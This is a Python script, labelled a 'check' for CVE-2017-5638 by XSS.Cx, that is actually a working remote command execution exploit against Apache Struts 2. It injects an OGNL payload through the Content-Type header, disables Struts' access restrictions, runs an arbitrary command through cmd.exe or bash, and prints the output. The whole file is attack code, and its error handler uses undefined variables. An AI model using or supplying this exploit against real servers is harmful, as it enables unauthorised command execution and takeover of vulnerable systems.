Check for CVE-2017-5638 by XSS.Cx in python with debug on

CVE-2017-5638.py

#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import urllib3
import requests
import httplib
import logging

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)
        the_page = response.read()

    print("\nObject get.request aka Response Code")
    print(requests.get(url, headers=headers,verify=False))
    print("\nPAYLOAD SENT")
    print(payload)
    print("\nObject request.URL")
    print(request.url)
    print("\nObject request.headers")
    print(request.headers)
    print("\nObject request.request")
    print(request.request)
    print("\nObject headers")
    print(headers)
    print("\nObject request.TEXT aka This is what you are looking for...")
    print(request.text)

try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
http_client.HTTPConnection.debuglevel = 0
print("Check for CVE-2017-5638 by XSS.Cx\n")
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True

if __name__ == '__main__':

    import sys
    if len(sys.argv) != 3:
        print("[*] struts.py <url> <cmd>")

    else:

        print('[*] Checking Site....')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        print(url, cmd)
        exploit(url, cmd)